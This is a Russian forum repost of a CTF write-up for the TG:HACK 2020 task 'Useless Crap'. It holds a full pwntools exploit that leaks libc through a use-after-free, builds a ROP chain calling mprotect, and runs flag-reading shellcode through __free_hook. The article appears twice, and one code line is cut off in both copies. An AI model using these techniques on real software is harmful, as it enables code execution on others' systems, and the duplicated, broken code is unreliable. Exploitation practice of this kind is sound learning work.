BlackPope
Местный
- Регистрация
- 27.04.2020
- Сообщения
- 242
- Реакции
- 35
PWN — одна из наиболее самодостаточных категорий тасков на CTF-соревнованиях. Такие задания быстро готовят к анализу кода в боевых условиях, а райтапы по ним чаще всего описывают каждую деталь, даже если она уже была многократно описана. Мы рассмотрим таск Useless Crap с апрельского TG:HACK 2020. Сам автор оценил его сложность как Hard. Задание очень интересное, во время соревнования я потратил на него около двенадцати часов.
Подготовка
Для начала расскажу об инструментах, которые я использовал.
Я предпочел не выбирать однозначно между IDA и Ghidra и использую один или другой дизассемблер в зависимости от ситуации, но в тасках категории PWN хороший псевдокод чаще выдает IDA.
«Ванильный» GDB невозможно использовать без очень серьезной психологической подготовки, так что чаще всего его юзают в сочетании с одним из плагинов: PEDA, GEF или pwndbg. Из них PEDA — самый старый (классический!) вариант, но я до сих пор не переехал на один из новых, так что использую его.
Также, пока весь мир полностью переезжает на Python 3, разработчики эксплоитов и не думают о том, чтобы покидать любимый Python 2. Дело в очень неприятной обработке raw bytes в третьей ветке Python, приходится постоянно держать в голове ее особенности и тратить лишнее время на исправление возникающих багов.
Полезные дополнительные инструменты:
Итак, организаторы дали нам бинарник и файлы серверной libc и линковщика. Также точно указан путь до флага; опытные игроки в CTF сразу могут предположить, что придется писать свой шелл-код.
Очевидно, самое первое, что нужно сделать, — это просто выполнить бинарник и примерно оценить сложность, быстренько просмотрев security mitigations в checksec.
Чтобы исполняемый файл использовал нужную libc, пропатчим в нем путь до линкера и укажем ее в переменной окружения LD_PRELOAD.
patchelf --set-interpreter ld-2.31.so ./crap
LD_PRELOAD=./libc-2.31.so ./crap
Нас встречает незамысловатая менюшка, появляется надежда на быстрое и простое решение. Живет эта надежда, правда, недолго, примерно до открытия checksec.
У нас включены на максимум все защитные механизмы. Вот их краткое описание.
NX — делает стек неисполняемым. Около двадцати лет назад большинство уязвимостей переполнения буфера эксплуатировали запись шелл-кода на стек с последующим прыжком на него. NX делает такую технику невозможной, однако сейчас она еще жива в мире IoT.
Stack canary — определенное секретное значение на стеке, записанное перед RBP и return pointer и, таким образом, защищающее их от перезаписи через уязвимость переполнения буфера.
Full RELRO — делает сегмент GOT доступным только для чтения и размещает его перед сегментом BSS. Техники эксплуатации через перезапись GOT несложны, но выходят за рамки этой статьи, так что предлагаю читателю самому разобраться с ними. О том, что такое Global Offset Table, можно прочитать, например, в Википедии.
ASLR — это защитный механизм, который значительно усложняет эксплуатацию. Его основная задача — рандомизация базовых адресов всех регионов памяти, кроме секций, принадлежащих самому бинарнику.
По сути, ASLR работает следующим образом. В диапазоне адресов, который на несколько порядков превышает размер рандомизируемого региона памяти, выбирается начальная точка отсчета, базовый адрес. К нему есть два требования:
2^8 * 2^8 * 2^8 * 2^4 = 2^28 = 268 435 456
Это примерная оценка, так как не учитывается определенное количество адресов вверху диапазона, которые брать нельзя, иначе остальной регион памяти тогда не уместится; тем не менее она достаточно точная. Допустим, на каждый запуск эксплоита в среднем мы тратим три секунды. Тогда полный перебор займет примерно 25 лет, что нас явно не устраивает, ведь CTF идет всего 48 часов.
Ну и наконец, PIE — это, по сути, ASLR для сегментов памяти самого исполняемого файла. В отличие от базового ASLR, который работает на уровне ОС, PIE — это опциональный защитный механизм, он может и не присутствовать в бинарнике.
Есть легенда, что если реверсера разбудить среди ночи и дать ноутбук, то он первым делом откроет IDA и нажмет F5. Не знаю, насколько это правда, но всегда поступаю именно так, когда хочу разобраться, как работает неизвестный исполняемый файл.
Нам повезло, декомпилированный псевдокод выглядит приятно и легко читается, так что больших проблем с пониманием механизмов исполняемого файла быть не должно.
Рассмотрим функции по порядку.
Здесь нет ничего по-настоящему интересного, просто отключается буферизация ввода и вывода и устанавливается время работы программы (после 0x3c секунд произойдет прыжок на handler, функцию, которая состоит из одной строки: exit(0)
.
Эта функция намного интереснее предыдущей: оказывается, в программе достаточно жестко настроен seccomp. Давай разберемся, какие системные вызовы разрешены. Найти таблицу соответствий названий сисколлов с их номерами не представляет труда.
Итак, абсолютно точно разрешены exit, mprotect, open и close. Немного, но уже становится понятен финальный этап эксплуатации: нужно будет сделать один из регионов памяти доступным для чтения, записи и исполнения, записать туда шелл-код на чтение файла с флагом и прыгнуть на него.
Также доступны системные вызовы read и write, но не полностью. IDA не показывает аргументы seccomp_rule_add после четвертого, а ведь основные правила настройки для заданных сисколлов именно там. Нажав правой кнопкой мыши на название функции, можно выбрать опцию Set call type и, таким образом, дописать еще несколько __int64, чтобы увидеть больше аргументов.
По опыту работы с seccomp могу сказать, что IDA не совсем правильно определила седьмой аргумент, который равен SCMP_CMP_EQ (это 4), но становится ясно, что программа может читать только из нулевого дескриптора (stdin), а писать только в первый дескриптор (stdout). Пока что не совсем понятно, как тогда написать шелл-код, ведь читать нужно в любом случае из дескриптора открытого файла, который точно не равен нулю. Но об этом позже.
Это меню, которое выводится каждую итерацию цикла в main.
Получение номера выбранной функции происходит безопасно, здесь нет ничего интересного для нас.
Автор таска предоставляет нам чистый arbitrary read. Не могу сказать, что это очень редкое и уникальное решение, но такие задания чаще всего крайне интересны. Мы можем прочитать что угодно откуда угодно не более двух раз, по крайней мере так будет считать программа. Переменная read_count глобальная, а значит, хранится не на стеке, а в BSS. В дальнейшем понимание этого может облегчить эксплуатацию.
Похожим образом работает do_write. У нас появляется возможность записывать что угодно куда угодно, пока write_count меньше единицы или равен ей. Сразу можно придумать обход механизма проверки: после каждой записи через следующий do_write присваивать write_count значение -1, таким образом получить полный, ничем не ограниченный arbitrary write и схожим образом arbitrary read.
Мы еще не успели прочитать весь код, а уже имеем серьезный контроль над потоком выполнения программы.
При выборе третьей опции меню вместо незамедлительного выхода программа попросит оставить обратную связь. Это происходит следующим образом:
Чтобы вызвать эту функцию, нужно ввести цифру 4, упоминания о которой нет в меню. Функция view_feedback выводит то, что находится по указателю feedback, не проверяя состояние чанка, который может быть освобожден. Такой тип уязвимостей называется Use-After-Free. Подразумевается, что по адресу указателя должен лежать пользовательский ввод, но чуть позже мы увидим, что для освобожденных чанков это не всегда так.
UAF и почему это хорошо
Более подробно о реализации ptmalloc можно прочитать в блоге Sploit Fun, но мы рассмотрим работу с кучей упрощенно. Чтобы понять, что происходит, когда программист создает чанк размером 1281 байт, а затем освобождает его, напишем свою программу.
#include <stdio.h>
#include <stdlib.h>
int main() {
void **a, *b;
a = calloc(1, 1281);
b = malloc(200);
free(a);
printf("%p\n", *a);
}
Чанк b нужен для того, чтобы не произошло консолидации с топ-чанком и попросту полного удаления структуры a после его освобождения.
Последовательно выполняя команды ni и si, доходим до инструкции, которая вызывает free нужного нам чанка, и через x/6b посмотрим на то, какой указатель там лежит.
По 0x7f в конце становится понятно, что перед нами один из адресов libc. Посчитать разницу 0x7ffff7fc2be0 и 0x7ffff7c0d000 не составит труда: она равна 0x3b5be0. Итак, мы знаем точный оффсет от корня libc до полученного адреса.
Можно начать писать эксплоит:
from pwn import *
p=process('./crap')
p.recvuntil('>')
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.recvuntil('>')
p.sendline('4')
## Парсинг нужного куска вывода
x = p.recvline().strip().split(': ')[-1][::-1].encode('hex')
libc_base = int(x, 16) - 0x3b5be0
print 'libc base is', hex(libc_base)
Для упрощения грядущей разработки эксплоита почти необходимо описать функции read и write через собственные обертки на Python.
def read(addr):
p.sendline('1')
p.recvuntil('addr: ')
p.sendline(hex(addr)[2:])
x=p.recvline().strip().split(': ')[-1]
p.recvuntil('>')
return x
def write(where, what):
p.sendline('2')
p.recvuntil(': ')
p.sendline('{} {}'.format(hex(where)[2:], hex(what)[2:]))
p.recvuntil('>')
Мы сделали первые шаги в эксплуатации, но успех еще далеко. Адрес libc — это, конечно, неплохо, но нам точно понадобятся адреса PIE и стека для дальнейшей эксплуатации. В glibc существует глобальная переменная environ, которая указывает на переменные окружения, хранящиеся на стеке, так что осталось только узнать ее значение. Можно поступить следующим образом.
Написать код для выполнения обозначенных шагов достаточно несложно:
environ=libc_base+0x3b8618
print 'environ is', hex(environ)
stack=int(read(environ), 16)
print 'stack is', hex(stack)
## -48 можно получить как просмотрев стек в GDB,
## так и обычным перебором
pie=read(stack-48)
## -2970 и следующие оффсеты получены через x и vmmap
pie=int(pie, 16)-2970
read_count=pie+2105392
write_count=pie+0x202033
feedback=pie+0x202038
print 'pie is', hex(pie)
write(read_count, 0) # read_count=0
write(write_count, 0xfffffffffffffff0) # write_count = -16
Что такое этот ROP?
Сама по себе техника ROP очень изящна, ознакомиться с ней я советую даже людям, не планирующим в дальнейшем серьезно заниматься разработкой эксплоитов. Научиться базовым трюкам можно, например, на сайте ROP Emporium. Также «Хакер» не раз писал об этой технике.
Нам нужно сделать один из регионов памяти Readable, Writable и eXecutable (rwx). Достичь изменения прав можно, вызвав функцию mprotect следующим образом:
mprotect(addr, some_size, 7)
Третий аргумент указывает как раз на то, что мы хотим сделать регион rwx.
Положить нужные значения в нужные регистры нам поможет техника ROP. В 64-битном Linux аргументы соответствуют регистрам в следующем порядке:
ROP естественно использовать при эксплуатации уязвимости переполнения буфера, но здесь у нас ее нет, как и нет возможности создать ее искусственно. Поэтому будем использовать следующий алгоритм.
make rdi = (pie+0x201000)
## 1000 — число с потолка. Можно любое другое,
## потому что mprotect изменит права всего региона
make rsi = 1000
make rdx = 7
call mprotect
Для поиска гаджетов существует много инструментов, я использую ROPgadget.
Давай скормим программе данный нам libc и найдем все нужные нам гаджеты. Сделать это можно при помощи команды
ROPgadget --binary libc-2.31.so > n
Далее при помощи любого текстового редактора можно из огромного списка найти нужные нам кусочки. В нашем случае прекрасно подойдут следующие гаджеты:
0x0000000000021882 : pop rdi ; ret
0x0000000000022192 : pop rsi ; ret
0x000000000012c561 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000002187f : pop r14 ; pop r15 ; ret
Последний гаджет будем использовать в качестве спускового крючка для выполнения цепочки. Оффсет до mprotect можно найти через GDB. Итак, код эксплоита:
pop_rdi = 0x21882
pop_rsi = 0x22192
pop_rax_rdx_rbx = 0x12c561
pop_r14_r15 = 0x2187f
place=pie+0x201000
mprotect = libc_base + 986064
## Сдвиг можно посчитать, поставив брейк-пойнт
## на инструкцию ret функции do_write
add = stack - 264
write(add, libc_base+pop_rdi)
write(write_count, 0xfffffffffffffff0)
write(add+8, place)
write(write_count, 0xfffffffffffffff0)
write(add+16, libc_base+pop_rsi)
write(write_count, 0xfffffffffffffff0)
write(add+24, 1000)
write(write_count, 0xfffffffffffffff0)
write(add+32, libc_base+pop_rax_rdx_rbx)
write(write_count, 0xfffffffffffffff0)
write(add+40, 0)
write(write_count, 0xfffffffffffffff0)
write(add+48, 7)
write(write_count, 0xfffffffffffffff0)
write(add+56, 0)
write(write_count, 0xfffffffffffffff0)
write(add+64, mprotect)
write(write_count, 0xfffffffffffffff0)
## Когда цепочка отработала, прыгаем на main
write(add+72, pie+0x0000000000001192)
write(write_count, 0xfffffffffffffff0)
## Здесь мы закончили писать ROP,
## и нужно заставить программу его выполнить
## Позиция на стеке, на которой лежит return address do_write
ret = stack - 288
write(ret, libc_base+pop_r14_r15)
write(write_count, 0xfffffffffffffff0)
Нужный нам регион стал доступен для чтения, записи и исполнения кода.
Вот и пришло время подумать, как именно писать шелл-код для завершения эксплуатации. Во время CTF на этот этап я потратил около десяти часов и чудом наткнулся на вопрос со Stack Overflow, который подвел меня к нужной мысли.
Идея такая: новому открытому файлу выдается минимальный из возможных файловых дескрипторов. Тогда если нулевой дескриптор был бы свободен, то open("flag.txt", O_RDONLY) вернул бы ноль, то есть к файлу можно было бы обращаться как к stdin в обычных условиях. Достичь этого можно, просто выполнив close(0), ведь системный вызов close разрешен seccomp.
Это простая, но одновременно красивая идея. Именно она сделала этот таск одним из интереснейших среди когда-либо решенных мной.
shell='''
mov rdi, 0
mov rax, 3
syscall ; closing stdin
mov rsi, 0
push 0
mov rcx, 8392585648256674918 ; «flag.txt» in little-endian
push rcx
mov rdi, rsp
mov rax, 2
syscall
mov rax, 0
mov rdi, 0
mov rsi, rsp
mov rdx, 60
syscall ; writing flag to the top of the stack
mov rdi, 1
mov rsi, rsp
mov rdx, 60
mov rax, 1
syscall ; printing flag
'''
print shell
## pwntools предоставляет очень удобный API для написания шелл-кодов
shellcode=asm(shell).encode('hex')
## Не стоит пугаться этого цикла. Это просто запись по 8 байт
for i in range(13):
print(i)
write(place+(i*8), int(shellcode[i*16
i+1)*16].decode('hex')[::-1].encode('hex'), 16))
write(write_count, 0xfffffffffffffff0)
GNU C предоставляет нам возможность изменять поведение функций malloc, free и realloc, используя соответствующие хуки. Если значения __malloc_hook, __free_hook или __realloc_hook будут не равны нулю, то программа прыгнет на адреса, записанные в них, при попытке выполнить соответствующие функции.
Кстати, почитать об этой и других фишках бинарной эксплуатации можно в репозитории CTF-pwn-tips, во время соревнований он действительно помогает.
Закончить эксплуатацию я хочу, прыгнув на шелл-код через __free_hook. Напомню, что программа выполняет free, если в функции leave_feedback выбрать опцию удаления обратной связи. Завершающая часть эксплоита:
free_hook=3898952+libc_base
print 'free_hook is', hex(free_hook)
print 'place is', hex(place)
print 'feedback is', hex(feedback)
write(free_hook, place)
write(write_count, 0xfffffffffffffff0)
write(feedback, 0)
## Триггерим free
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.interactive()
Спасибо автору таска PewZ за интересную идею и предоставление докер-контейнера с игрового сервера. Решить таск самостоятельно можно, если выполнить следующую команду:
nc ctf.sprush.rocks 6001
Как минимум в течение месяца после публикации статьи (то есть до середины июня 2020 года) она должна работать.
Подготовка
Для начала расскажу об инструментах, которые я использовал.
Я предпочел не выбирать однозначно между IDA и Ghidra и использую один или другой дизассемблер в зависимости от ситуации, но в тасках категории PWN хороший псевдокод чаще выдает IDA.
«Ванильный» GDB невозможно использовать без очень серьезной психологической подготовки, так что чаще всего его юзают в сочетании с одним из плагинов: PEDA, GEF или pwndbg. Из них PEDA — самый старый (классический!) вариант, но я до сих пор не переехал на один из новых, так что использую его.
Также, пока весь мир полностью переезжает на Python 3, разработчики эксплоитов и не думают о том, чтобы покидать любимый Python 2. Дело в очень неприятной обработке raw bytes в третьей ветке Python, приходится постоянно держать в голове ее особенности и тратить лишнее время на исправление возникающих багов.
Полезные дополнительные инструменты:
- pwntools как самый удобный API на Python для взаимодействия с исполняемыми файлами;
- checksec — для определения защитных механизмов бинарника;
- patchelf как инструмент для патчинга libc и исполняемых файлов.
Первоначальный осмотр

Итак, организаторы дали нам бинарник и файлы серверной libc и линковщика. Также точно указан путь до флага; опытные игроки в CTF сразу могут предположить, что придется писать свой шелл-код.
Очевидно, самое первое, что нужно сделать, — это просто выполнить бинарник и примерно оценить сложность, быстренько просмотрев security mitigations в checksec.
Чтобы исполняемый файл использовал нужную libc, пропатчим в нем путь до линкера и укажем ее в переменной окружения LD_PRELOAD.
patchelf --set-interpreter ld-2.31.so ./crap
LD_PRELOAD=./libc-2.31.so ./crap

Нас встречает незамысловатая менюшка, появляется надежда на быстрое и простое решение. Живет эта надежда, правда, недолго, примерно до открытия checksec.

У нас включены на максимум все защитные механизмы. Вот их краткое описание.
NX — делает стек неисполняемым. Около двадцати лет назад большинство уязвимостей переполнения буфера эксплуатировали запись шелл-кода на стек с последующим прыжком на него. NX делает такую технику невозможной, однако сейчас она еще жива в мире IoT.
Stack canary — определенное секретное значение на стеке, записанное перед RBP и return pointer и, таким образом, защищающее их от перезаписи через уязвимость переполнения буфера.
Full RELRO — делает сегмент GOT доступным только для чтения и размещает его перед сегментом BSS. Техники эксплуатации через перезапись GOT несложны, но выходят за рамки этой статьи, так что предлагаю читателю самому разобраться с ними. О том, что такое Global Offset Table, можно прочитать, например, в Википедии.
Как работают ASLR и PIE?
ASLR — это защитный механизм, который значительно усложняет эксплуатацию. Его основная задача — рандомизация базовых адресов всех регионов памяти, кроме секций, принадлежащих самому бинарнику.
По сути, ASLR работает следующим образом. В диапазоне адресов, который на несколько порядков превышает размер рандомизируемого региона памяти, выбирается начальная точка отсчета, базовый адрес. К нему есть два требования:
- последние три ниббла («полубайта») этого адреса должны быть равны 000;
- весь рандомизированный регион не должен конфликтовать с другими регионами и выходить за рамки предложенного диапазона.
2^8 * 2^8 * 2^8 * 2^4 = 2^28 = 268 435 456
Это примерная оценка, так как не учитывается определенное количество адресов вверху диапазона, которые брать нельзя, иначе остальной регион памяти тогда не уместится; тем не менее она достаточно точная. Допустим, на каждый запуск эксплоита в среднем мы тратим три секунды. Тогда полный перебор займет примерно 25 лет, что нас явно не устраивает, ведь CTF идет всего 48 часов.
Ну и наконец, PIE — это, по сути, ASLR для сегментов памяти самого исполняемого файла. В отличие от базового ASLR, который работает на уровне ОС, PIE — это опциональный защитный механизм, он может и не присутствовать в бинарнике.
Реверс-инжиниринг программы
Есть легенда, что если реверсера разбудить среди ночи и дать ноутбук, то он первым делом откроет IDA и нажмет F5. Не знаю, насколько это правда, но всегда поступаю именно так, когда хочу разобраться, как работает неизвестный исполняемый файл.

Нам повезло, декомпилированный псевдокод выглядит приятно и легко читается, так что больших проблем с пониманием механизмов исполняемого файла быть не должно.
Рассмотрим функции по порядку.
1. init

Здесь нет ничего по-настоящему интересного, просто отключается буферизация ввода и вывода и устанавливается время работы программы (после 0x3c секунд произойдет прыжок на handler, функцию, которая состоит из одной строки: exit(0)
2. sandbox

Эта функция намного интереснее предыдущей: оказывается, в программе достаточно жестко настроен seccomp. Давай разберемся, какие системные вызовы разрешены. Найти таблицу соответствий названий сисколлов с их номерами не представляет труда.
Итак, абсолютно точно разрешены exit, mprotect, open и close. Немного, но уже становится понятен финальный этап эксплуатации: нужно будет сделать один из регионов памяти доступным для чтения, записи и исполнения, записать туда шелл-код на чтение файла с флагом и прыгнуть на него.

Также доступны системные вызовы read и write, но не полностью. IDA не показывает аргументы seccomp_rule_add после четвертого, а ведь основные правила настройки для заданных сисколлов именно там. Нажав правой кнопкой мыши на название функции, можно выбрать опцию Set call type и, таким образом, дописать еще несколько __int64, чтобы увидеть больше аргументов.

По опыту работы с seccomp могу сказать, что IDA не совсем правильно определила седьмой аргумент, который равен SCMP_CMP_EQ (это 4), но становится ясно, что программа может читать только из нулевого дескриптора (stdin), а писать только в первый дескриптор (stdout). Пока что не совсем понятно, как тогда написать шелл-код, ведь читать нужно в любом случае из дескриптора открытого файла, который точно не равен нулю. Но об этом позже.
3. menu

Это меню, которое выводится каждую итерацию цикла в main.
4. get_num

Получение номера выбранной функции происходит безопасно, здесь нет ничего интересного для нас.
5. do_read

Автор таска предоставляет нам чистый arbitrary read. Не могу сказать, что это очень редкое и уникальное решение, но такие задания чаще всего крайне интересны. Мы можем прочитать что угодно откуда угодно не более двух раз, по крайней мере так будет считать программа. Переменная read_count глобальная, а значит, хранится не на стеке, а в BSS. В дальнейшем понимание этого может облегчить эксплуатацию.
6. do_write

Похожим образом работает do_write. У нас появляется возможность записывать что угодно куда угодно, пока write_count меньше единицы или равен ей. Сразу можно придумать обход механизма проверки: после каждой записи через следующий do_write присваивать write_count значение -1, таким образом получить полный, ничем не ограниченный arbitrary write и схожим образом arbitrary read.
Мы еще не успели прочитать весь код, а уже имеем серьезный контроль над потоком выполнения программы.
7. leave_feedback

При выборе третьей опции меню вместо незамедлительного выхода программа попросит оставить обратную связь. Это происходит следующим образом:
- проверяется, равен ли нулю глобальный указатель feedback;
- если нет, то программа аллоцирует чанк размером 0x501 и даст нам непосредственный ввод в него;
- затем пользователя спрашивают: хочет ли он, чтобы его фидбек был сохранен;
- если он введет n, то чанк будет освобожден, но указатель feedback не обнулится.

Чтобы вызвать эту функцию, нужно ввести цифру 4, упоминания о которой нет в меню. Функция view_feedback выводит то, что находится по указателю feedback, не проверяя состояние чанка, который может быть освобожден. Такой тип уязвимостей называется Use-After-Free. Подразумевается, что по адресу указателя должен лежать пользовательский ввод, но чуть позже мы увидим, что для освобожденных чанков это не всегда так.
UAF и почему это хорошо
Более подробно о реализации ptmalloc можно прочитать в блоге Sploit Fun, но мы рассмотрим работу с кучей упрощенно. Чтобы понять, что происходит, когда программист создает чанк размером 1281 байт, а затем освобождает его, напишем свою программу.
#include <stdio.h>
#include <stdlib.h>
int main() {
void **a, *b;
a = calloc(1, 1281);
b = malloc(200);
free(a);
printf("%p\n", *a);
}
Чанк b нужен для того, чтобы не произошло консолидации с топ-чанком и попросту полного удаления структуры a после его освобождения.
- calloc(1, 1281) вернет указатель ровно на то место, куда можно записывать данные, не думая о внутренних механизмах реализации кучи.
- Размер a больше 1032, поэтому после free(a) он попадет в так называемый unsorted bin. При этом forward pointer и backward pointer (это указатели, созданные для того, чтобы ускорить работу ptmalloc) чанка, попавшего в unsorted bin, указывают в libc.
- Указатель a будет равен адресу, по которому располагается forward pointer. Таким образом, там, где раньше лежали пользовательские данные, сейчас лежит указатель в libc, и printf нам его выведет.
- Зайти в leave_feedback и сказать программе, что нужно удалить оставленную обратную связь.
- Выполнить view_feedback и таким образом получить адрес libc.
- Через set exec-wrapper env 'LD_PRELOAD=./libc-2.31.so' подгружаем нужную версию libc.
- С помощью команды vmmap смотрим все регионы памяти.

Последовательно выполняя команды ni и si, доходим до инструкции, которая вызывает free нужного нам чанка, и через x/6b посмотрим на то, какой указатель там лежит.

По 0x7f в конце становится понятно, что перед нами один из адресов libc. Посчитать разницу 0x7ffff7fc2be0 и 0x7ffff7c0d000 не составит труда: она равна 0x3b5be0. Итак, мы знаем точный оффсет от корня libc до полученного адреса.
Можно начать писать эксплоит:
from pwn import *
p=process('./crap')
p.recvuntil('>')
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.recvuntil('>')
p.sendline('4')
## Парсинг нужного куска вывода
x = p.recvline().strip().split(': ')[-1][::-1].encode('hex')
libc_base = int(x, 16) - 0x3b5be0
print 'libc base is', hex(libc_base)
Увеличиваем контроль
Для упрощения грядущей разработки эксплоита почти необходимо описать функции read и write через собственные обертки на Python.
def read(addr):
p.sendline('1')
p.recvuntil('addr: ')
p.sendline(hex(addr)[2:])
x=p.recvline().strip().split(': ')[-1]
p.recvuntil('>')
return x
def write(where, what):
p.sendline('2')
p.recvuntil(': ')
p.sendline('{} {}'.format(hex(where)[2:], hex(what)[2:]))
p.recvuntil('>')
Мы сделали первые шаги в эксплуатации, но успех еще далеко. Адрес libc — это, конечно, неплохо, но нам точно понадобятся адреса PIE и стека для дальнейшей эксплуатации. В glibc существует глобальная переменная environ, которая указывает на переменные окружения, хранящиеся на стеке, так что осталось только узнать ее значение. Можно поступить следующим образом.
- Через environ получить адрес стека.
- Методом научного тыка найти такую позицию на стеке, в которой при каждом запуске будет храниться один из адресов PIE.
Написать код для выполнения обозначенных шагов достаточно несложно:
environ=libc_base+0x3b8618
print 'environ is', hex(environ)
stack=int(read(environ), 16)
print 'stack is', hex(stack)
## -48 можно получить как просмотрев стек в GDB,
## так и обычным перебором
pie=read(stack-48)
## -2970 и следующие оффсеты получены через x и vmmap
pie=int(pie, 16)-2970
read_count=pie+2105392
write_count=pie+0x202033
feedback=pie+0x202038
print 'pie is', hex(pie)
write(read_count, 0) # read_count=0
write(write_count, 0xfffffffffffffff0) # write_count = -16
Что такое этот ROP?
Сама по себе техника ROP очень изящна, ознакомиться с ней я советую даже людям, не планирующим в дальнейшем серьезно заниматься разработкой эксплоитов. Научиться базовым трюкам можно, например, на сайте ROP Emporium. Также «Хакер» не раз писал об этой технике.
Читай также про ROP
- Развратно-ориентированное программирование: трюки ROP, приводящие к победе (архивная статья 2010 года)
- В королевстве PWN. ROP-цепочки и атака Return-to-PLT в CTF Bitterman
- Пишем сплоит для обхода DEP: ret2libc и ROP-цепочки против Data Execution Prevention
Нам нужно сделать один из регионов памяти Readable, Writable и eXecutable (rwx). Достичь изменения прав можно, вызвав функцию mprotect следующим образом:
mprotect(addr, some_size, 7)
Третий аргумент указывает как раз на то, что мы хотим сделать регион rwx.
Положить нужные значения в нужные регистры нам поможет техника ROP. В 64-битном Linux аргументы соответствуют регистрам в следующем порядке:
- RDI — I
- RSI — II
- RDX — III
- RCX — IV
- R8 — V
- R9 — VI
ROP естественно использовать при эксплуатации уязвимости переполнения буфера, но здесь у нас ее нет, как и нет возможности создать ее искусственно. Поэтому будем использовать следующий алгоритм.
- Через do_write пишем на стек ROP-цепочку таким образом, чтобы начало этой цепочки отстояло от return address функции do_write ровно на 16 байт.
- Когда цепочка будет полностью записана на стек, перезапишем return address do_write на гаджет вида pop some_reg; pop some_reg; ret;. Таким образом, этот гаджет съест 16 байт, которые мы оставляли от return pointer до ROP-цепочки, и полностью ее выполнит.
make rdi = (pie+0x201000)
## 1000 — число с потолка. Можно любое другое,
## потому что mprotect изменит права всего региона
make rsi = 1000
make rdx = 7
call mprotect
Для поиска гаджетов существует много инструментов, я использую ROPgadget.
Давай скормим программе данный нам libc и найдем все нужные нам гаджеты. Сделать это можно при помощи команды
ROPgadget --binary libc-2.31.so > n

Далее при помощи любого текстового редактора можно из огромного списка найти нужные нам кусочки. В нашем случае прекрасно подойдут следующие гаджеты:
0x0000000000021882 : pop rdi ; ret
0x0000000000022192 : pop rsi ; ret
0x000000000012c561 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000002187f : pop r14 ; pop r15 ; ret
Последний гаджет будем использовать в качестве спускового крючка для выполнения цепочки. Оффсет до mprotect можно найти через GDB. Итак, код эксплоита:
pop_rdi = 0x21882
pop_rsi = 0x22192
pop_rax_rdx_rbx = 0x12c561
pop_r14_r15 = 0x2187f
place=pie+0x201000
mprotect = libc_base + 986064
## Сдвиг можно посчитать, поставив брейк-пойнт
## на инструкцию ret функции do_write
add = stack - 264
write(add, libc_base+pop_rdi)
write(write_count, 0xfffffffffffffff0)
write(add+8, place)
write(write_count, 0xfffffffffffffff0)
write(add+16, libc_base+pop_rsi)
write(write_count, 0xfffffffffffffff0)
write(add+24, 1000)
write(write_count, 0xfffffffffffffff0)
write(add+32, libc_base+pop_rax_rdx_rbx)
write(write_count, 0xfffffffffffffff0)
write(add+40, 0)
write(write_count, 0xfffffffffffffff0)
write(add+48, 7)
write(write_count, 0xfffffffffffffff0)
write(add+56, 0)
write(write_count, 0xfffffffffffffff0)
write(add+64, mprotect)
write(write_count, 0xfffffffffffffff0)
## Когда цепочка отработала, прыгаем на main
write(add+72, pie+0x0000000000001192)
write(write_count, 0xfffffffffffffff0)
## Здесь мы закончили писать ROP,
## и нужно заставить программу его выполнить
## Позиция на стеке, на которой лежит return address do_write
ret = stack - 288
write(ret, libc_base+pop_r14_r15)
write(write_count, 0xfffffffffffffff0)
Нужный нам регион стал доступен для чтения, записи и исполнения кода.
Пишем шелл-код
Вот и пришло время подумать, как именно писать шелл-код для завершения эксплуатации. Во время CTF на этот этап я потратил около десяти часов и чудом наткнулся на вопрос со Stack Overflow, который подвел меня к нужной мысли.
Идея такая: новому открытому файлу выдается минимальный из возможных файловых дескрипторов. Тогда если нулевой дескриптор был бы свободен, то open("flag.txt", O_RDONLY) вернул бы ноль, то есть к файлу можно было бы обращаться как к stdin в обычных условиях. Достичь этого можно, просто выполнив close(0), ведь системный вызов close разрешен seccomp.
Это простая, но одновременно красивая идея. Именно она сделала этот таск одним из интереснейших среди когда-либо решенных мной.
shell='''
mov rdi, 0
mov rax, 3
syscall ; closing stdin
mov rsi, 0
push 0
mov rcx, 8392585648256674918 ; «flag.txt» in little-endian
push rcx
mov rdi, rsp
mov rax, 2
syscall
mov rax, 0
mov rdi, 0
mov rsi, rsp
mov rdx, 60
syscall ; writing flag to the top of the stack
mov rdi, 1
mov rsi, rsp
mov rdx, 60
mov rax, 1
syscall ; printing flag
'''
print shell
## pwntools предоставляет очень удобный API для написания шелл-кодов
shellcode=asm(shell).encode('hex')
## Не стоит пугаться этого цикла. Это просто запись по 8 байт
for i in range(13):
print(i)
write(place+(i*8), int(shellcode[i*16
write(write_count, 0xfffffffffffffff0)
Используем free_hook
GNU C предоставляет нам возможность изменять поведение функций malloc, free и realloc, используя соответствующие хуки. Если значения __malloc_hook, __free_hook или __realloc_hook будут не равны нулю, то программа прыгнет на адреса, записанные в них, при попытке выполнить соответствующие функции.
Кстати, почитать об этой и других фишках бинарной эксплуатации можно в репозитории CTF-pwn-tips, во время соревнований он действительно помогает.
Закончить эксплуатацию я хочу, прыгнув на шелл-код через __free_hook. Напомню, что программа выполняет free, если в функции leave_feedback выбрать опцию удаления обратной связи. Завершающая часть эксплоита:
free_hook=3898952+libc_base
print 'free_hook is', hex(free_hook)
print 'place is', hex(place)
print 'feedback is', hex(feedback)
write(free_hook, place)
write(write_count, 0xfffffffffffffff0)
write(feedback, 0)
## Триггерим free
p.sendline('3')
p.recvuntil(': ')
p.sendline('AAAA')
p.recvuntil('y/n')
p.sendline('n')
p.interactive()

Выводы
Спасибо автору таска PewZ за интересную идею и предоставление докер-контейнера с игрового сервера. Решить таск самостоятельно можно, если выполнить следующую команду:
nc ctf.sprush.rocks 6001
Как минимум в течение месяца после публикации статьи (то есть до середины июня 2020 года) она должна работать.